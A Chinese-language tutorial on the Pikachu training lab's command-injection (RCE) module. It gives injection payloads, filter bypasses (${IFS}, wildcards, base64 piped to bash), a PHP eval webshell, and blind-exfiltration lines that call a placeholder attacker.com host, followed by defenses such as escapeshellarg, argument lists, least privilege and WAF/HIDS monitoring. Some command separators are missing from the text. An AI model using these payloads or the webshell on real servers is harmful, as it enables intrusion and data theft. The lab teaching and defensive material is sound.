1. 项目概述为什么Pikachu靶场的RCE是安全入门的必修课如果你刚开始接触网络安全尤其是Web安全方向那么Pikachu靶场几乎是你绕不开的“新手村”。它不像那些复杂的商业漏洞靶场Pikachu的设计初衷就是教学把各种常见的Web漏洞比如SQL注入、XSS、文件上传当然还有我们今天要深挖的RCE远程命令执行用最直观、最典型的方式呈现出来。很多人觉得RCE很高深是“黑客”的终极武器但在Pikachu里你会发现它的原理可能比你想象的要简单而正是这种“简单”才让它成为危害性极大、必须彻底理解的漏洞类型。简单来说RCE漏洞就是攻击者能够通过Web应用在服务器后端操作系统上执行任意命令。想象一下你有一个网站上面有个功能是让用户输入一个域名来测试网络连通性比如ping功能。如果开发人员没有对用户的输入做严格的过滤和检查攻击者就可以在输入框里不仅仅输入www.baidu.com而是输入www.baidu.com whoami。如果后端代码直接拼接命令那么服务器就会先执行ping www.baidu.com然后执行whoami命令把当前系统用户信息返回给攻击者。这扇门一旦被打开从查看文件、下载数据库到植入后门、控制整台服务器都只是几条命令的事。Pikachu靶场的RCE模块正是模拟了这种由于开发疏忽导致的命令注入场景。它不是为了吓唬你而是为了让你亲手“搞破坏”在安全的环境里理解攻击者是如何思考、如何一步步利用漏洞的。只有当你真正站在攻击者的角度成功执行了一条系统命令后你才能刻骨铭心地明白在开发中哪些地方是雷区以及作为防御方应该如何去排雷、加固。所以这篇解析不仅仅是教你“通关”一个靶场更是为你建立一套从攻击到防御的完整思维模型。无论你是开发者、运维人员还是安全工程师这套思维都至关重要。2. RCE漏洞核心原理与Pikachu场景拆解2.1 命令注入的本质当数据被误认为代码要理解RCE首先要分清“数据”和“代码”。在编程中代码是让计算机执行操作的指令比如system(“ping 127.0.0.1”)。而数据是代码处理的对象比如用户输入的127.0.0.1。命令注入漏洞产生的根本原因就是在编程时没有清晰地区分这两者的边界将用户可控的“数据”部分直接拼接到了“代码”的框架中。在PHP、Python、Java等语言中都有调用系统命令的函数例如PHP的system()、exec()、shell_exec()Python的os.system()、subprocess.call()等。一个危险的代码模式是这样的$target $_GET[‘ip‘]; system(“ping -c 3 ” . $target);在这段代码中“ping -c 3 ”是写死的代码部分而$target是用户传入的数据。设计者的本意是用户输入一个IP地址如192.168.1.1最终执行的命令是ping -c 3 192.168.1.1。问题在于攻击者输入的不是一个合法的IP而是一段精心构造的字符串比如192.168.1.1 cat /etc/passwd。经过拼接后完整的命令变成了ping -c 3 192.168.1.1 cat /etc/passwd在Linux/Unix的shell中是一个命令连接符表示前一条命令执行成功后才执行后一条。于是服务器在ping完之后紧接着就会执行cat /etc/passwd并将系统用户列表的输出返回给攻击者。用户输入的 cat /etc/passwd这部分“数据”成功地“注入”到了原命令的“代码”逻辑中并被系统shell解释执行了。Pikachu靶场的“RCE”模块模拟的正是这种最经典的模式。它通常会给你一个简单的输入框提示你输入一个IP地址进行ping测试。背后对应的就是上述那段存在缺陷的PHP代码。你的任务就是利用命令连接符突破原有逻辑执行额外的系统命令。2.2 Pikachu靶场中的RCE漏洞点分析打开Pikachu靶场的RCE漏洞页面你会发现界面非常简洁。这符合真实世界中很多遗留系统或开发者安全意识不足的场景——一个看似无害的功能点往往隐藏着巨大的风险。我们以最常见的“Exec “ping”“场景为例。前端页面可能只有一个文本输入框和一个提交按钮标签写着“请输入一个IP地址”。作为攻击者你的思维不能停留在“正常使用”层面。你需要立刻思考以下几个问题后端逻辑猜测后端很可能用system(“ping ” . $user_input)这样的方式处理。操作系统环境靶场通常运行在Linux系统上如Ubuntu、CentOS这意味着你可以使用Bash shell的所有特性。命令拼接符有哪些符号可以让我把自定义命令“粘”到原有的ping命令后面除了还有;无论前命令是否成功都执行后命令、|管道符将前命令的输出作为后命令的输入、||前命令失败才执行后命令以及反引号和$()用于命令替换。在实战测试时我会采用一个风险极低的命令开始探测比如127.0.0.1 echo “test_rce”。如果页面的返回结果中除了ping的结果还出现了test_rce这行文字那么恭喜你漏洞存在这证实了你的输入确实被当作命令执行了并且执行结果回显到了页面上。这是一种“有回显”的RCE也是Pikachu主要演示的类型。注意并非所有RCE都有回显。在实际渗透中更常见的是“无回显”或“盲注”场景。攻击者需要通过时间延迟如ping -c 10 127.0.0.1、DNS外带如curl attacker-domain.com或写入Web目录等方式来验证和利用漏洞。Pikachu的简单回显模式是为了教学直观但你必须知道真实情况可能更复杂。2.3 漏洞利用的关键命令分隔与绕过技巧确认漏洞存在后下一步就是利用它执行更有实际意义的命令。这里的目标是获取服务器信息为进一步渗透铺路。以下是一些在Pikachu靶场及类似场景中非常实用的命令和技巧1. 基础信息收集命令whoami查看当前执行命令的用户权限。如果是www-data、apache、nginx这类Web服务用户权限通常较低但如果运气好碰到root那几乎可以为所欲为。id更详细地显示用户和组信息。pwd显示当前工作目录。这通常是Web应用的根目录对于后续寻找敏感文件、写入Webshell至关重要。uname -a查看系统内核版本信息可用于寻找提权漏洞。ls -la /或dir列出根目录或当前目录下的文件寻找敏感文件如/etc/passwd、/flagCTF中常见、配置文件、数据库文件等。在Pikachu中输入127.0.0.1 whoami pwd。返回结果可能会显示www-data和/var/www/html/pikachu/vul/rce这样的路径这立刻给了你两个关键信息用户权限和Web目录的实际位置。2. 绕过可能的过滤简单的靶场可能没有过滤但真实环境和一些进阶靶场会尝试防御。Pikachu的RCE关卡有时会设置简单的黑名单过滤比如过滤了cat、more、less等文件读取命令的关键字。这就需要一些绕过技巧使用替代命令不能用cat可以试试tac反向输出、nl带行号输出、head、tail、甚至grep . /etc/passwd。使用空格绕过有时过滤了空格可以用${IFS}内部字段分隔符、%09Tab的URL编码、或、重定向符号来代替。例如127.0.0.1cat${IFS}/etc/passwd。字符串拼接在Bash中可以用/b?n/c?t通配符或‘a‘‘b’拼接成ab的方式绕过对完整命令的检测。例如c‘at‘或/usr/bin/c‘at‘。编码与引用使用Base64编码。例如想执行cat /etc/passwd可以先编码echo “Y2F0IC9ldGMvcGFzc3dk” | base64 -d | bash。将整条命令作为Base64字符串传入执行。在Pikachu中你可以尝试输入127.0.0.1 ls -la来查看当前目录文件可能会发现一个叫flag.php或key.txt的文件这就是你的第一个“战利品”。用cat flag.php查看它如果发现cat被过滤了就立刻切换到上述绕过方法进行尝试。这个过程本身就是一种非常好的思维训练。3. 漏洞利用实战手把手攻破Pikachu RCE关卡3.1 环境确认与初步探测假设你已经成功在本地或实验环境搭建好了Pikachu靶场通常是一个PHP项目放到Apache的Web目录下配置好数据库即可。访问RCE漏洞页面我们开始实战。第一步永远是观察。看看页面有没有任何提示、输入框的类型、长度限制等。打开浏览器的开发者工具F12切换到“网络”(Network)选项卡并勾选“保留日志”(Preserve log)。然后在输入框里输入一个正常的IP比如127.0.0.1点击提交。观察网络请求。你会看到一个POST或GET请求被发送到后端的一个PHP文件例如rce.php或exec.php。查看这个请求的参数通常是一个名为ip或target的参数其值就是你输入的127.0.0.1。同时观察响应内容页面会显示ping命令的执行结果包括PING 127.0.0.1 (127.0.0.1)、icmp_seq等详细信息。这个步骤至关重要它让你明确了攻击的入口点哪个参数和回显方式结果直接显示在页面上。现在将网络请求从“浏览器发”改为“我们可控地发”。你可以继续在输入框测试但更高效的方式是使用浏览器插件如HackBar或者直接使用命令行工具curl来构造请求。例如用curl模拟GET请求curl “http://your-pikachu-ip/pikachu/vul/rce/rce.php?ip127.0.0.1“你会得到包含ping结果的HTML页面。这证实了接口是可用的。3.2 构造Payload并执行系统命令现在开始注入。我们将ip参数的值从单纯的IP地址替换为包含命令分隔符的Payload。Payload 1验证漏洞存在127.0.0.1 echo “pikachu_rce_test”使用curl发送curl “http://your-pikachu-ip/pikachu/vul/rce/rce.php?ip127.0.0.1%20%26%26%20echo%20%22pikachu_rce_test%22“注意这里将空格和特殊字符进行了URL编码%20是空格%26是。如果返回的HTML页面中在ping结果之后出现了pikachu_rce_test这行文字那么远程命令执行漏洞就被确认了。Payload 2获取系统基本信息127.0.0.1 whoami id pwd这条命令会依次执行ping、whoami、id和pwd。从回显中你就能知道当前Web服务的运行用户、所属组以及Web目录的绝对路径。这些是后续行动的基础。Payload 3探索目录结构知道了当前目录(pwd)就可以开始探索。假设当前目录是/var/www/html/pikachu/vul/rce。127.0.0.1 ls -la ../../../../../../../用于向上回退目录ls -la列出所有文件包括隐藏文件的详细信息。你可以通过多次尝试画出服务器的大致目录树寻找配置文件如config.php、database.ini、其他Web目录、甚至是备份文件如.bak、.swp、.old。Payload 4读取敏感文件Linux系统的/etc/passwd文件记录了所有用户信息是信息收集的经典目标。127.0.0.1 cat /etc/passwd如果成功你会看到一堆以:分隔的用户行。如果cat被过滤尝试用tac、more、less、head -n 20 /etc/passwd或之前提到的绕过方法。Payload 5尝试写入WebShell进阶如果当前用户对Web目录有写权限那么写入一个WebShell是控制服务器的有效手段。WebShell是一段可以被Web服务器执行的脚本如PHP通过它可以在浏览器中远程执行命令。 首先找一个可写的Web目录。通常pwd返回的目录就是。然后使用echo命令写入一个最简单的PHP WebShell。127.0.0.1 echo ‘?php eval($_POST[“cmd”]);?‘ shell.php这条命令会创建一个名为shell.php的文件内容是一行PHP代码该代码会执行POST参数cmd传来的任何命令。请注意这仅在极度宽松、无任何写保护和过滤的靶场环境中用于学习。真实环境中这种操作会立刻触发安全告警。写入后访问http://your-pikachu-ip/pikachu/vul/rce/shell.php如果页面空白没有报错则可能写入成功。此时你可以使用工具如中国菜刀历史工具现已不推荐、AntSword蚁剑或Cobalt Strike的Beacon来连接这个WebShell获得一个图形化或命令行的交互控制界面。实操心得在Pikachu这类教学靶场中写入WebShell往往是为了演示漏洞的危害性。但在实际操作中要特别注意路径和权限。有时echo写入会因为权限或引号解析问题失败可以尝试使用printf命令printf ‘?php system($_GET[“c”]);?‘ shell.php。另外写入后立即用ls -l shell.php检查文件是否创建成功以及权限如何。3.3 利用过程的数据流与思维导图让我们梳理一下整个利用过程的数据流这有助于你理解攻击的本质攻击者输入在Web前端输入框输入127.0.0.1 whoami。HTTP请求浏览器将输入作为ip参数的值通过GET或POST请求发送给服务器端的rce.php。服务器端接收PHP代码通过$_GET[‘ip‘]或$_POST[‘ip‘]获取到参数字符串“127.0.0.1 whoami”。危险拼接存在漏洞的代码将其直接拼接到命令字符串中$cmd “ping -c 3 ” . $ip;得到“ping -c 3 127.0.0.1 whoami”。命令执行PHP的system($cmd)函数将这个字符串交给操作系统shell如/bin/bash执行。Shell解析Bash shell看到字符串将其解析为两条命令ping -c 3 127.0.0.1和whoami并依次执行。结果返回system()函数捕获两条命令的标准输出将其返回给PHP程序PHP程序再将结果嵌入到HTML页面中。攻击者接收浏览器收到包含ping结果和www-data用户名的HTML页面攻击完成。这个链条的核心环节是第4步的“拼接”和第5步的“交给Shell执行”。防御的思路就是要在各个环节打断这个链条。4. 从攻击到防御企业级安全加固方案理解了攻击是如何发生的防御就有了明确的方向。防御RCE漏洞是一个系统工程需要从开发规范、安全编码、运行环境、安全运维多个层面入手。4.1 安全编码杜绝命令注入的根源这是最根本、最有效的一层防御。原则就是尽可能避免直接调用系统命令。1. 使用语言内置函数或安全库替代场景需要执行ping、nslookup、traceroute等网络诊断功能。错误做法system(“ping ” . $user_input);正确做法使用编程语言提供的纯软件实现库。PHP完全避免使用system()、exec()、shell_exec()、passthru()、反引号 。对于网络连通性测试可以使用fsockopen()尝试连接特定端口或者使用ping命令的封装库需审查其实现是否安全。Python避免使用os.system()、os.popen()、subprocess除非以非常安全的方式使用。对于ping可以使用ping3这个纯Python库。Java避免使用Runtime.getRuntime().exec()。使用InetAddress.isReachable()来进行网络可达性测试注意其局限性。2. 如果必须执行命令使用白名单参数化有些场景确实无法避免调用外部命令例如调用特定的系统工具或脚本。白名单校验对用户输入进行严格的、基于白名单的验证。例如对于ping功能只允许输入符合IPv4、IPv6格式或合法域名的字符串。使用正则表达式进行精确匹配。$user_input $_GET[‘ip‘]; // 白名单校验只允许数字、点、冒号IPv6、字母和短横线域名 if (!preg_match(‘/^[a-zA-Z0-9\.\:\-]$/‘, $user_input)) { die(“Invalid input“); } // 进一步可以校验是否为合法IP格式 if (!filter_var($user_input, FILTER_VALIDATE_IP) !filter_var($user_input, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) { die(“Invalid IP or domain“); }参数化调用非拼接这是最关键的一步。不要将用户输入拼接进命令字符串而是将其作为独立的参数传递给执行函数。PHP示例使用escapeshellarg()$user_input $_GET[‘ip‘]; // escapeshellarg()会给参数加上单引号并转义其中的单引号确保其被当作一个整体参数 $cmd “ping -c 3 ” . escapeshellarg($user_input); system($cmd); // 此时即使输入是127.0.0.1 whoami也会被当作一个整体字符串去ping不会执行whoamiPython示例使用subprocess和参数列表import subprocess user_input request.GET.get(‘ip‘) # 使用参数列表而不是字符串拼接 try: # 每个部分都是独立的列表元素 result subprocess.run([‘ping‘, ‘-c‘, ‘3‘, user_input], capture_outputTrue, textTrue, timeout5) output result.stdout except subprocess.TimeoutExpired: output “Command timeout“在Python中使用参数列表形式subprocess模块会负责安全的参数传递防止shell注入。绝对不要使用shellTrue参数这会将命令字符串交给系统shell解释重蹈覆辙。4.2 运行时防护与系统加固即使代码层面有疏忽运行环境层面的防护也能构成第二道防线。1. 最小权限原则运行Web服务的用户绝对不要以root身份运行Apache、Nginx、PHP-FPM。应该创建一个专用的、低权限的用户如www-data、nginx、php-fpm。文件系统权限严格限制Web用户对文件系统的访问权限。只授予其对Web根目录、临时目录、必要的日志目录的读写权限对其他系统目录如/etc、/bin、/home只有读或无权。命令执行限制通过SELinux、AppArmor等安全模块可以精细地控制Web服务进程能够执行的系统调用和访问的资源即使被注入命令也可能因为权限不足而无法执行成功。2. 部署Web应用防火墙WAFWAF可以部署在Web服务器前端对HTTP/HTTPS流量进行实时检测和过滤。一款配置良好的WAF可以识别常见的RCE攻击特征如命令拼接符、|、;、敏感命令关键字cat、whoami、wget、异常的路径遍历../等并在攻击请求到达应用之前就将其阻断。云服务商如阿里云、腾讯云都提供WAF服务开源方案如ModSecurity也可以与Nginx/Apache集成。3. 输入输出过滤与编码全局输入过滤在应用框架的入口处如PHP的auto_prepend_file或框架的中间件对所有的$_GET、$_POST、$_REQUEST参数进行统一的危险字符过滤或转义。但这只能作为辅助手段不能替代具体功能点的白名单校验。输出编码对所有返回到前端的数据进行HTML编码防止攻击者通过注入恶意脚本进行XSS攻击虽然这对RCE本身防御作用有限但能提升整体安全性。4.3 安全运维与持续监控1. 定期漏洞扫描与代码审计使用静态应用安全测试SAST工具对源代码进行扫描查找可能存在命令注入风险的函数调用模式。使用动态应用安全测试DAST工具或漏洞扫描器如AWVS、Nessus对线上应用进行黑盒测试模拟攻击行为。建立代码审计机制特别是在涉及系统命令调用、文件操作、数据库操作等危险函数时进行人工重点审查。2. 日志审计与入侵检测确保日志开启并集中管理确保Web服务器访问日志、错误日志、应用日志、系统日志auth.log、syslog都正常记录并收集到安全的日志服务器。监控可疑命令执行在服务器上部署HIDS主机入侵检测系统如OSSEC、Wazuh它们可以监控进程创建行为对由Web用户发起的、执行了/bin/bash、/bin/sh、nc、wget、curl等敏感命令的行为进行告警。分析Web日志编写脚本或使用SIEM安全信息与事件管理系统实时分析Web访问日志寻找包含典型RCE攻击特征如%20%26%26%20、%3B、%7C的请求并进行告警和阻断。3. 应急响应预案假设真的发生了RCE漏洞被利用的事件应该怎么做隔离立即将受影响的服务器从网络中断开或通过WAF、防火墙策略临时阻断对其的访问防止攻击扩散和数据泄露。取证备份完整的系统镜像、内存镜像如果可能、以及所有相关日志。不要急于重启以免丢失内存中的攻击痕迹。排查根据日志定位攻击入口、攻击时间、攻击者IP、执行的命令序列。检查是否有后门文件被创建、计划任务被添加、异常用户被创建等。清除与修复在备份的环境中彻底清除攻击者留下的后门和恶意文件。修复导致漏洞的代码。如果漏洞是已知的第三方组件漏洞立即升级或打补丁。恢复与复盘从干净的备份恢复数据和服务或者在新环境中重新部署已修复的应用。对整个事件进行复盘完善监控、响应流程和开发规范。5. 常见问题、排查技巧与深度思考5.1 实战中遇到的典型问题与解决思路问题1Payload执行了但没有回显。这是“盲注”场景。你需要通过其他方式判断命令是否执行。时间延迟法使用sleep命令。127.0.0.1 sleep 5。如果页面响应时间明显增加了5秒说明命令执行成功。DNS外带法尝试触发一个到外网的DNS查询。127.0.0.1 nslookup your-unique-subdomain.attacker.com。在你的DNS日志服务器上查看是否有收到这个域名的查询请求。这种方法对网络限制较少的环境很有效。HTTP请求外带法使用curl或wget向一个你控制的服务器发起请求将命令执行结果作为URL参数带出。127.0.0.1 curl http://attacker.com/$(whoami)。你需要在attacker.com的Web日志中查看访问记录。写入文件法将命令输出写入一个Web可访问的文件。127.0.0.1 whoami /var/www/html/test.txt然后访问http://target/test.txt查看结果。问题2某些特殊字符如空格、引号被过滤或转义了。空格绕过使用${IFS}、%09(Tab)、、、{cmd,args}如{cat,/etc/passwd}代替。命令分隔符绕过和;被过滤可以尝试|、||、%0a换行符、%0d回车符。在Linux中换行符同样可以分隔命令。黑名单关键字绕过大小写混淆WhOaMi。使用通配符/???/??t /???/p??swd可能匹配/bin/cat /etc/passwd。使用变量拼接ac;bat;$a$b /etc/passwd。使用编码如前文提到的Base64编码。问题3在Windows服务器上测试Payload不生效。Windows和Linux的命令语法和分隔符不同。命令分隔符Windows使用无论前命令是否成功都执行后命令、前成功则执行后、|管道。查看用户使用whoami同样适用。查看目录使用dir代替ls。文件路径使用反斜杠\如type C:\Windows\System32\drivers\etc\hosts。注意在Windows下如果参数包含空格通常需要用双引号包裹但在注入时引号可能会被过滤需要特别注意。5.2 针对Pikachu靶场特定关卡的技巧Pikachu的RCE关卡有时会设置一些简单的过滤来增加难度。例如可能会过滤cat、flag等关键词。观察过滤规则先输入一些简单测试如127.0.0.1正常、127.0.0.1 echo 1测试分隔符、127.0.0.1 cat /etc/passwd测试关键字。根据返回的错误信息或空白页面判断过滤了哪些字符或单词。尝试替代方案cat被过滤用tac、more、less、head、tail、nl、awk ‘{print}‘、grep .。需要查找flag文件用find / -name “*flag*“ 2/dev/null在全盘搜索。读取文件内容如果所有读取命令都被过滤可以尝试用cp /etc/passwd /tmp/1.txt复制出来或者用od八进制转储、xxd十六进制转储命令以二进制形式查看再手动解码。5.3 深度思考为什么RCE漏洞经久不衰尽管安全社区早已熟知RCE的危害和防御方法但这类漏洞在真实世界中依然频繁出现。原因在于开发人员的安全意识不足尤其是初创公司或业务压力大的团队追求快速实现功能忽略了安全编码规范。第三方组件依赖现代应用大量使用开源库和框架。如果这些第三方组件存在RCE漏洞如经典的Log4j2漏洞即使自身代码写得再安全也会被拖累。因此持续监控和更新第三方依赖至关重要。配置错误错误的服务器配置如以root运行服务、过时的软件版本包含已知RCE漏洞未修复都为攻击者敞开了大门。过滤规则被绕过攻击技术也在进化新的绕过技巧层出不穷。单纯依赖黑名单过滤是徒劳的必须采用白名单参数化的根本性解决方案。因此防御RCE是一个持续的过程需要将安全思维融入到软件开发生命周期SDLC的每一个阶段需求设计、编码实现、代码审查、测试验证、部署运行和监控响应。Pikachu靶场的学习正是为了在你心中种下这棵“安全第一”的种子。当你未来在写下一行可能调用系统命令的代码时能立刻想起今天实验中弹出的那个www-data从而本能地停下来思考一下我这样写安全吗